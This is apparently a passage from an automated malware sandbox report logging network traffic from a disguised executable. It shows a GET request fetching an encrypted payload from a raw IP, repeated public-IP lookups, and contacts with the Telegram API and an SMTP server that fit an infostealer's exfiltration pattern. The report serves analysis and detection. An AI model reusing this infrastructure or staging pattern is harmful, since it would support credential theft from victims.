Sep 24, 2024 16:31:18.951543093 CEST	49810	80	192.168.11.30	158.101.44.242
Sep 24, 2024 16:31:19.136204004 CEST	443	49817	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:19.137581110 CEST	49817	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:19.137649059 CEST	443	49817	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:19.413599014 CEST	443	49817	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:19.414063931 CEST	443	49817	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:19.414251089 CEST	49817	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:19.414530993 CEST	49817	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:19.500041008 CEST	49810	80	192.168.11.30	158.101.44.242
Sep 24, 2024 16:31:19.659840107 CEST	80	49810	158.101.44.242	192.168.11.30
Sep 24, 2024 16:31:19.663778067 CEST	80	49810	158.101.44.242	192.168.11.30
Sep 24, 2024 16:31:19.664392948 CEST	49818	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:19.664500952 CEST	443	49818	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:19.664716959 CEST	49818	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:19.664912939 CEST	49818	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:19.664979935 CEST	443	49818	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:19.717044115 CEST	49810	80	192.168.11.30	158.101.44.242
Sep 24, 2024 16:31:19.895929098 CEST	443	49818	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:19.897413969 CEST	49818	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:19.897492886 CEST	443	49818	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:20.165623903 CEST	443	49818	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:20.166109085 CEST	443	49818	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:20.166301966 CEST	49818	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:20.166641951 CEST	49818	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:20.252079010 CEST	49810	80	192.168.11.30	158.101.44.242
Sep 24, 2024 16:31:20.421629906 CEST	80	49810	158.101.44.242	192.168.11.30
Sep 24, 2024 16:31:20.422353983 CEST	49819	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:20.422461033 CEST	443	49819	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:20.422725916 CEST	49819	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:20.422945976 CEST	49819	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:20.423019886 CEST	443	49819	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:20.466845036 CEST	49810	80	192.168.11.30	158.101.44.242
Sep 24, 2024 16:31:20.655172110 CEST	443	49819	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:20.656514883 CEST	49819	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:20.656563044 CEST	443	49819	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:20.928092957 CEST	443	49819	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:20.928590059 CEST	443	49819	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:20.928791046 CEST	49819	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:20.929085016 CEST	49819	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:21.330056906 CEST	49820	443	192.168.11.30	149.154.167.220
Sep 24, 2024 16:31:21.330106020 CEST	443	49820	149.154.167.220	192.168.11.30
Sep 24, 2024 16:31:21.330293894 CEST	49820	443	192.168.11.30	149.154.167.220
Sep 24, 2024 16:31:21.330775023 CEST	49820	443	192.168.11.30	149.154.167.220
Sep 24, 2024 16:31:21.330801964 CEST	443	49820	149.154.167.220	192.168.11.30
Sep 24, 2024 16:31:21.738128901 CEST	443	49820	149.154.167.220	192.168.11.30
Sep 24, 2024 16:31:21.738432884 CEST	49820	443	192.168.11.30	149.154.167.220
Sep 24, 2024 16:31:21.739700079 CEST	49820	443	192.168.11.30	149.154.167.220
Sep 24, 2024 16:31:21.739734888 CEST	443	49820	149.154.167.220	192.168.11.30
Sep 24, 2024 16:31:21.740410089 CEST	443	49820	149.154.167.220	192.168.11.30
Sep 24, 2024 16:31:21.741681099 CEST	49820	443	192.168.11.30	149.154.167.220
Sep 24, 2024 16:31:21.784310102 CEST	443	49820	149.154.167.220	192.168.11.30
Sep 24, 2024 16:31:22.092041016 CEST	443	49820	149.154.167.220	192.168.11.30
Sep 24, 2024 16:31:22.092351913 CEST	443	49820	149.154.167.220	192.168.11.30
Sep 24, 2024 16:31:22.092484951 CEST	49820	443	192.168.11.30	149.154.167.220
Sep 24, 2024 16:31:22.097729921 CEST	49820	443	192.168.11.30	149.154.167.220
Sep 24, 2024 16:31:28.798343897 CEST	49821	587	192.168.11.30	185.230.214.164
Sep 24, 2024 16:31:28.984611034 CEST	587	49821	185.230.214.164	192.168.11.30
Sep 24, 2024 16:31:28.984899044 CEST	49821	587	192.168.11.30	185.230.214.164
Sep 24, 2024 16:31:29.174940109 CEST	587	49821	185.230.214.164	192.168.11.30
Sep 24, 2024 16:31:29.175318956 CEST	49821	587	192.168.11.30	185.230.214.164
Sep 24, 2024 16:31:29.382694006 CEST	587	49821	185.230.214.164	192.168.11.30
Sep 24, 2024 16:31:29.631243944 CEST	587	49821	185.230.214.164	192.168.11.30
Sep 24, 2024 16:31:29.631299019 CEST	587	49821	185.230.214.164	192.168.11.30
Sep 24, 2024 16:31:29.631337881 CEST	587	49821	185.230.214.164	192.168.11.30
Sep 24, 2024 16:31:29.631556034 CEST	49821	587	192.168.11.30	185.230.214.164
Sep 24, 2024 16:31:29.631556034 CEST	49821	587	192.168.11.30	185.230.214.164
Sep 24, 2024 16:31:29.821105003 CEST	587	49821	185.230.214.164	192.168.11.30
Sep 24, 2024 16:31:29.821167946 CEST	587	49821	185.230.214.164	192.168.11.30
Sep 24, 2024 16:31:29.821820021 CEST	49821	587	192.168.11.30	185.230.214.164
Sep 24, 2024 16:31:30.009371042 CEST	587	49821	185.230.214.164	192.168.11.30
Sep 24, 2024 16:31:30.009804010 CEST	587	49821	185.230.214.164	192.168.11.30
Sep 24, 2024 16:31:30.009875059 CEST	587	49821	185.230.214.164	192.168.11.30
Sep 24, 2024 16:31:30.010029078 CEST	49821	587	192.168.11.30	185.230.214.164
Sep 24, 2024 16:31:30.011358023 CEST	49821	587	192.168.11.30	185.230.214.164
Sep 24, 2024 16:31:30.197695017 CEST	587	49821	185.230.214.164	192.168.11.30
Sep 24, 2024 16:31:30.245892048 CEST	49821	587	192.168.11.30	185.230.214.164
Sep 24, 2024 16:31:30.305736065 CEST	49821	587	192.168.11.30	185.230.214.164
Sep 24, 2024 16:31:30.493798018 CEST	587	49821	185.230.214.164	192.168.11.30
Sep 24, 2024 16:31:30.493823051 CEST	587	49821	185.230.214.164	192.168.11.30
Sep 24, 2024 16:31:30.493840933 CEST	587	49821	185.230.214.164	192.168.11.30
Sep 24, 2024 16:31:30.494152069 CEST	49821	587	192.168.11.30	185.230.214.164
Sep 24, 2024 16:31:30.497924089 CEST	49821	587	192.168.11.30	185.230.214.164
Sep 24, 2024 16:31:30.686398029 CEST	587	49821	185.230.214.164	192.168.11.30
Sep 24, 2024 16:31:30.686938047 CEST	49821	587	192.168.11.30	185.230.214.164
Sep 24, 2024 16:31:30.918864965 CEST	587	49821	185.230.214.164	192.168.11.30
Sep 24, 2024 16:31:31.073409081 CEST	587	49821	185.230.214.164	192.168.11.30
Sep 24, 2024 16:31:31.074676037 CEST	49821	587	192.168.11.30	185.230.214.164
Sep 24, 2024 16:31:31.260665894 CEST	587	49821	185.230.214.164	192.168.11.30
Sep 24, 2024 16:31:31.260848999 CEST	587	49821	185.230.214.164	192.168.11.30
Sep 24, 2024 16:31:31.261221886 CEST	49821	587	192.168.11.30	185.230.214.164
Sep 24, 2024 16:31:31.447521925 CEST	587	49821	185.230.214.164	192.168.11.30
Sep 24, 2024 16:31:31.447815895 CEST	49821	587	192.168.11.30	185.230.214.164
Sep 24, 2024 16:31:31.633882999 CEST	587	49821	185.230.214.164	192.168.11.30
Sep 24, 2024 16:31:31.672224998 CEST	49821	587	192.168.11.30	185.230.214.164
Sep 24, 2024 16:31:31.672293901 CEST	49821	587	192.168.11.30	185.230.214.164
Sep 24, 2024 16:31:31.672341108 CEST	49821	587	192.168.11.30	185.230.214.164
Sep 24, 2024 16:31:31.672341108 CEST	49821	587	192.168.11.30	185.230.214.164
Sep 24, 2024 16:31:31.672389030 CEST	49821	587	192.168.11.30	185.230.214.164
Sep 24, 2024 16:31:31.858192921 CEST	587	49821	185.230.214.164	192.168.11.30
Sep 24, 2024 16:31:31.858211040 CEST	587	49821	185.230.214.164	192.168.11.30
Sep 24, 2024 16:31:33.428711891 CEST	587	49821	185.230.214.164	192.168.11.30
Sep 24, 2024 16:31:33.479542017 CEST	49821	587	192.168.11.30	185.230.214.164
Sep 24, 2024 16:32:25.421382904 CEST	80	49810	158.101.44.242	192.168.11.30
Sep 24, 2024 16:32:25.421699047 CEST	49810	80	192.168.11.30	158.101.44.242
Sep 24, 2024 16:32:57.180671930 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:32:57.289247990 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:32:57.289392948 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:33:00.429436922 CEST	49810	80	192.168.11.30	158.101.44.242
Sep 24, 2024 16:33:00.589900970 CEST	80	49810	158.101.44.242	192.168.11.30
Sep 24, 2024 16:33:08.693116903 CEST	49821	587	192.168.11.30	185.230.214.164
Sep 24, 2024 16:33:08.879651070 CEST	587	49821	185.230.214.164	192.168.11.30
Sep 24, 2024 16:33:08.879833937 CEST	587	49821	185.230.214.164	192.168.11.30
Sep 24, 2024 16:33:08.879847050 CEST	587	49821	185.230.214.164	192.168.11.30
Sep 24, 2024 16:33:08.880017042 CEST	49821	587	192.168.11.30	185.230.214.164
Sep 24, 2024 16:33:08.880305052 CEST	49821	587	192.168.11.30	185.230.214.164

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 24, 2024 16:31:09.990879059 CEST	61520	53	192.168.11.30	1.1.1.1
Sep 24, 2024 16:31:10.102323055 CEST	53	61520	1.1.1.1	192.168.11.30
Sep 24, 2024 16:31:11.469243050 CEST	50891	53	192.168.11.30	1.1.1.1
Sep 24, 2024 16:31:11.605166912 CEST	53	50891	1.1.1.1	192.168.11.30
Sep 24, 2024 16:31:21.219433069 CEST	49214	53	192.168.11.30	1.1.1.1
Sep 24, 2024 16:31:21.329202890 CEST	53	49214	1.1.1.1	192.168.11.30
Sep 24, 2024 16:31:28.686060905 CEST	54710	53	192.168.11.30	1.1.1.1
Sep 24, 2024 16:31:28.797579050 CEST	53	54710	1.1.1.1	192.168.11.30

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 24, 2024 16:31:09.990879059 CEST	192.168.11.30	1.1.1.1	0xd8b7	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Sep 24, 2024 16:31:11.469243050 CEST	192.168.11.30	1.1.1.1	0xad35	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Sep 24, 2024 16:31:21.219433069 CEST	192.168.11.30	1.1.1.1	0xcf0	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Sep 24, 2024 16:31:28.686060905 CEST	192.168.11.30	1.1.1.1	0x43cb	Standard query (0)	smtp.zoho.eu	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 24, 2024 16:31:10.102323055 CEST	1.1.1.1	192.168.11.30	0xd8b7	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 24, 2024 16:31:10.102323055 CEST	1.1.1.1	192.168.11.30	0xd8b7	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Sep 24, 2024 16:31:10.102323055 CEST	1.1.1.1	192.168.11.30	0xd8b7	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Sep 24, 2024 16:31:10.102323055 CEST	1.1.1.1	192.168.11.30	0xd8b7	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Sep 24, 2024 16:31:10.102323055 CEST	1.1.1.1	192.168.11.30	0xd8b7	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Sep 24, 2024 16:31:10.102323055 CEST	1.1.1.1	192.168.11.30	0xd8b7	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Sep 24, 2024 16:31:11.605166912 CEST	1.1.1.1	192.168.11.30	0xad35	No error (0)	reallyfreegeoip.org		172.67.177.134	A (IP address)	IN (0x0001)	false
Sep 24, 2024 16:31:11.605166912 CEST	1.1.1.1	192.168.11.30	0xad35	No error (0)	reallyfreegeoip.org		104.21.67.152	A (IP address)	IN (0x0001)	false
Sep 24, 2024 16:31:21.329202890 CEST	1.1.1.1	192.168.11.30	0xcf0	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Sep 24, 2024 16:31:28.797579050 CEST	1.1.1.1	192.168.11.30	0x43cb	No error (0)	smtp.zoho.eu		185.230.214.164	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

api.telegram.org

64.188.18.75

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.30	49809	64.188.18.75	80	3392	C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe

Timestamp	Bytes transferred	Direction	Data
Sep 24, 2024 16:31:07.313019991 CEST	189	OUT	GET /ReySnONaTTPqhXrIqUlWWanbq212.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: 64.188.18.75 Cache-Control: no-cache
Sep 24, 2024 16:31:07.421670914 CEST	1289	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Mon, 23 Sep 2024 23:30:37 GMT Accept-Ranges: bytes ETag: "3441279810edb1:0" Server: Microsoft-IIS/8.5 Date: Tue, 24 Sep 2024 14:31:07 GMT Content-Length: 208448 Data Raw: 43 1e 41 aa dc 43 cb 85 9d 69 94 59 d1 8f 4a c0 27 28 8b bc 81 27 a3 a9 47 55 43 1f 91 a7 13 20 fa 04 93 31 0e cf 9a 0d 33 a9 1f 00 d7 b2 5e 49 81 63 bc 67 15 6a 27 8d 7d 65 b9 d6 6f 5d 48 aa 35 b5 0b ca f9 c6 2b 64 49 df e3 4a c1 61 af 68 fe 85 be 8c 2d 16 0c 2e 52 bc 30 60 f3 50 fb e6 1a 5c e3 94 dd ba b4 79 1b 46 81 10 02 98 20 69 b7 05 e1 ca a9 69 ef 62 60 b7 1e 7c e8 8a 3d cc 61 5f 01 23 45 a3 6e bd 6d 9a ab 8e 69 43 a5 05 27 7b 5e 2e b2 2a 53 95 96 2b f1 7e 8d 97 6a 17 c6 57 ef 9d d7 fd 2c 83 18 b2 a7 99 16 44 b4 dd 96 8e 38 cf 8e 8a ba 0f 3e b9 6c cb ca 06 1e 5e 62 50 6f 18 b1 48 8e 75 72 63 07 66 4a 55 a7 0d 8e 55 05 16 79 bf e0 1d d5 33 51 67 9f bf af 34 fb 25 c4 17 c7 2b c8 52 19 c3 9b 97 dc 77 e0 dc 4b 02 ef 3f fc fb 4d cc 58 d2 5c b0 c2 01 be ea 4d 3e f8 0d 51 14 97 65 8e dd fe f4 c5 48 a0 a9 6f 5b 5f e2 3e 8f a4 d4 80 51 5b c2 2a fc 11 82 aa 87 d3 b9 57 d3 1c 5c ea 5c 95 06 e9 13 2a a8 58 62 7b ee 8c f5 d9 6f b6 6a 0b 69 3f 24 13 79 ab ca 2e e7 5f ba 8e 5a b6 b6 5e d3 4b 0a 93 2a 3c 4f [TRUNCATED] Data Ascii: CACiYJ'('GUC 13^Icgj'}eo]H5+dIJah-.R0`P\yF iib`\|=a_#EnmiC'{^.S+~jW,D8>l^bPoHurcfJUUy3Qg4%+RwK?MX\M>QeHo[_>Q[W\\Xb{oji?$y._Z^K<O6wg)b6)j:EpTUc"0/dY;OB,-k^eUtV-{GbXgCd<xyh8`-w}}8qmTFJ9(^cFPnzku+f`eLF,L4(ou&]Q~)& q> zayGh TZln!&BPC;?Lz\>z$+Q]~"(zARI`zj87jM<<}Tm9BNgf8B+JqNZ-qI0Z)7@kImVeFz!igu?ZZo0&Alu_ba9d.o&2sog, s-*5_(i3^mUamsYN6';"hS]Aj\"PojR}'6jk}J/jrAG+ [TRUNCATED]
Sep 24, 2024 16:31:07.421696901 CEST	1289	IN	Data Raw: 6d a1 c1 b8 18 8f 6e b8 22 7c 4b 04 c3 d3 24 c2 3c 66 20 aa 69 c1 09 65 cd f7 c5 9f b5 93 16 a6 21 d0 fc ed e5 7c c7 dd d7 0c fb 8f 88 ad be 22 6f 32 39 bf d6 6f ba f3 a9 db 41 6e 5d a7 44 a0 d3 0b 3d 26 6a d1 aa 7c 19 56 34 9e 65 56 2d 91 69 af Data Ascii: mn"\|K$<f ie!\|"o29oAn]D=&j\|V4eV-iJ+oahKFC?7*t8N WVfYcq;h-0Ck~^@<3F.vN79+Ut;@kLqiXIVwcH
Sep 24, 2024 16:31:07.421722889 CEST	1289	IN	Data Raw: b6 55 26 fd fc a3 99 a9 3c 42 27 95 7c 0a 22 6e 5c 49 61 da 6c 68 80 f3 94 e0 f4 46 79 07 d5 cd 96 9b 5a a2 55 23 aa 74 23 c0 f9 f5 5d 3b aa fa 65 6e 09 e3 96 7a f5 af 9f ec f3 95 90 92 43 94 e6 87 45 72 97 10 23 01 0b 48 ce a0 a9 6d 5b 0f 69 f0 Data Ascii: U&<B'\|"n\IalhFyZU#t#];enzCEr#Hm[ig/(2aYq+Z"96qpgzl3dzX<SzCH>]"m&GS\8fB<0:rj0shEt\9/nj*V1sD
Sep 24, 2024 16:31:07.421845913 CEST	1289	IN	Data Raw: 17 df 1d 7a f5 3b ac d7 d2 a3 65 eb 66 8f bd bf 33 70 90 a9 38 af ca 06 d5 3d 2e be 76 91 d9 0d b4 90 fe 7c 73 12 a2 d6 d8 0e eb b8 11 f1 b3 f1 17 78 f8 0a f5 bf 5d 2c d1 e8 ae b6 be f7 6e fe 90 f4 af f7 62 f4 db 11 e6 cc b8 6b 72 c1 79 80 f9 0d Data Ascii: z;ef3p8=.v\|sx],nbkry3-)nY_052O^b4 x[aJR]A[4zDDW8L%whG Gi5N`H5:cBLN#\.=qz<q!y06WlV/..APxQ7Iq
Sep 24, 2024 16:31:07.530607939 CEST	1289	IN	Data Raw: f4 22 2c 71 42 22 bc ff af 66 fd 67 80 e6 aa 06 2e 1f 11 9d 03 5a 9b 68 02 a5 1f eb 87 3c 3e 09 e4 24 e8 36 16 a8 88 e1 8b 78 bf fc 6d 07 04 74 ca f7 86 c9 16 a1 93 5e 72 41 52 49 e9 b7 5e 99 d9 ef 91 2f e1 2b cb 4c 38 ce 37 05 c4 b8 08 d9 4e f6 Data Ascii: ",qB"fg.Zh<>$6xmt^rARI^/+L87NI</F@Y9B"C^9BFfUgJjFO-FhEnW&nJs\|oA(-br7$hzY\|Tg[vfZZ+EKY$"H2A_nek&2Lg
Sep 24, 2024 16:31:07.530622959 CEST	1289	IN	Data Raw: 5f e5 6b e1 c8 38 b3 60 54 51 d5 54 2e e2 b2 16 a1 c8 1b 73 fa 90 dc ea dd 9b 3a c4 43 6d 51 59 91 38 e3 75 20 73 8a 7d d5 c2 98 e6 b1 aa 0e 9c 8f c8 a3 61 b8 d6 ab 4c 31 8c e0 19 45 e0 85 12 25 7c a6 86 dd d9 eb 75 f5 79 2f b0 2a e3 8c 12 bc ac Data Ascii: _k8`TQT.s:CmQY8u s}aL1E%\|uy/*7")@.\|.<}zkZ^rN3Bb]/WsC2o[<{n.Tb8kX0G';Ui{cL4`a0
Sep 24, 2024 16:31:07.530635118 CEST	1289	IN	Data Raw: 21 7d 54 b9 d3 8c f7 44 7c 4a 93 16 a6 12 c4 61 5d 5f 3d c7 56 84 89 34 93 96 b7 23 95 5d 84 e1 f0 29 74 7a 99 9a 4c 24 d8 e6 f1 44 23 d2 65 0f 27 69 47 6b c8 d3 94 39 ba b9 11 3b 9c 4e 6b 2f d0 7d 0a 4b f3 eb 1e 7a 4c 87 2b e5 ae 20 e3 4a 3e ad Data Ascii: !}TD\|Ja]_=V4#])tzL$D#e'iGk9;Nk/}KzL+ J>?4C}?QmDIhmd]3o@Q"k)N~m]FZ-K=J\|8FWCk{#H9dZ]'$CvzhudnRP)"5
Sep 24, 2024 16:31:07.530702114 CEST	1289	IN	Data Raw: 8f bd 23 7b 3f 9a 4a ca 37 1f 5c 9a ee 80 99 d7 6b 2c 18 b0 f1 6a 00 02 81 58 b8 ce 96 c0 b9 75 a7 b2 6a 7a 1b 73 5f ba 15 94 94 8d 5a 8e 75 e4 9e e4 8e dd fe c7 f9 d5 10 6f 2e 5b d4 38 ff 64 bc e7 34 4a 7b 6a 6b fc 90 60 05 c2 d3 b9 28 ee 8d ec Data Ascii: #{?J7\k,jXujzs_Zuo.[8d4J{jk`(\AYv:j%A GA{smQk<-6=l)pUB^^C+PCD<_~a)"u/>;Fg>$z;kc`P{G;Ufo7Wq_
Sep 24, 2024 16:31:07.530714035 CEST	1289	IN	Data Raw: a9 22 57 b8 40 d5 b0 21 ed 7e 15 2f 02 60 a5 b5 58 67 c8 28 b6 ec 95 f2 7a 5a 52 01 cd d1 3c 5f 6f 74 79 16 8c 53 c5 68 f2 19 d4 cc 4d de 53 cd d9 a4 bf 7a 85 cb 0a fc c4 2b 84 82 5e df 2d 0a b2 7e 69 f5 0d a7 26 0a 7a 88 f6 f2 69 7c be 21 0a 44 Data Ascii: "W@!~/`Xg(zZR<_otyShMSz+^-~i&zi\|!DAB!wVA\@x;K4GJ(\|c5Iv7*oBz?&]cq~4]Be?s#c/M\|s.Li(#4bP"<:aWETJx>`l=EJ
Sep 24, 2024 16:31:07.530725002 CEST	1289	IN	Data Raw: c0 08 92 56 02 62 b7 d0 01 f0 23 36 08 89 f2 ac 15 69 37 a0 9d 43 2e 60 9e 4d 0f b2 73 00 0a cd 66 64 3c 24 b8 8c 59 d9 07 68 d8 b8 f1 51 61 3e 4c 5a f6 bd 2c 1f 36 c8 f9 8f 2d 8f 1c 2d 92 34 01 38 3b 32 39 aa c5 3c 7d 2a 42 2a a1 0a d1 50 b2 04 Data Ascii: Vb#6i7C.`Msfd<$YhQa>LZ,6--48;29<}BPJ8FV#FvFEW~U6"H?Vc#PBd%$7-r!?ON.\@P &NDR2vA(["Da816Yc(G5qMa
Sep 24, 2024 16:31:07.530808926 CEST	1289	IN	Data Raw: 73 21 e1 3a 6c 91 bf 5c 71 f4 58 f5 65 4f 54 73 1c df 8c 09 e9 2e 4b 4d ff 2d 6a ca a0 04 9b eb 37 6e 3f 5d e3 31 a1 36 96 ad 6c a1 bf 1c 4f 95 c1 55 31 13 82 fa c1 ac 7d 26 3f 56 e2 d7 aa af 17 38 ff d8 be d1 d1 90 d0 e3 c7 39 56 16 53 d4 5d cf Data Ascii: s!:l\qXeOTs.KM-j7n?]16lOU1}&?V89VS]p{R`8;.z-4x*{D=0WR4E[A"s&#/CCH,__lHQ$F2sOhoZ>^5%"!`<SSq%h[Vtz1D

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.11.30	49810	158.101.44.242	80	3392	C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe

Timestamp	Bytes transferred	Direction	Data
Sep 24, 2024 16:31:10.307245016 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 24, 2024 16:31:10.468969107 CEST	322	IN	HTTP/1.1 200 OK Date: Tue, 24 Sep 2024 14:31:10 GMT Content-Type: text/html Content-Length: 105 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 957ff30b159a94c0c1420b12b832c7e8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 37 39 2e 31 32 37 2e 31 33 32 2e 32 30 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 79.127.132.20</body></html>
Sep 24, 2024 16:31:10.579926968 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 24, 2024 16:31:10.780144930 CEST	322	IN	HTTP/1.1 200 OK Date: Tue, 24 Sep 2024 14:31:10 GMT Content-Type: text/html Content-Length: 105 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 75483204166ec66da7bc26984ede6c40 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 37 39 2e 31 32 37 2e 31 33 32 2e 32 30 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 79.127.132.20</body></html>
Sep 24, 2024 16:31:13.139579058 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 24, 2024 16:31:13.510498047 CEST	322	IN	HTTP/1.1 200 OK Date: Tue, 24 Sep 2024 14:31:13 GMT Content-Type: text/html Content-Length: 105 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: a19aab445e7fd7151820b157342621a6 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 37 39 2e 31 32 37 2e 31 33 32 2e 32 30 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 79.127.132.20</body></html>
Sep 24, 2024 16:31:14.071763992 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 24, 2024 16:31:14.240473986 CEST	322	IN	HTTP/1.1 200 OK Date: Tue, 24 Sep 2024 14:31:14 GMT Content-Type: text/html Content-Length: 105 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: e851aa056dc03ca5b7159f8274e32bd2 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 37 39 2e 31 32 37 2e 31 33 32 2e 32 30 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 79.127.132.20</body></html>
Sep 24, 2024 16:31:14.834005117 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 24, 2024 16:31:16.010607958 CEST	322	IN	HTTP/1.1 200 OK Date: Tue, 24 Sep 2024 14:31:15 GMT Content-Type: text/html Content-Length: 105 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: e2d70b4b25a7010ea10354e942f78850 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 37 39 2e 31 32 37 2e 31 33 32 2e 32 30 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 79.127.132.20</body></html>
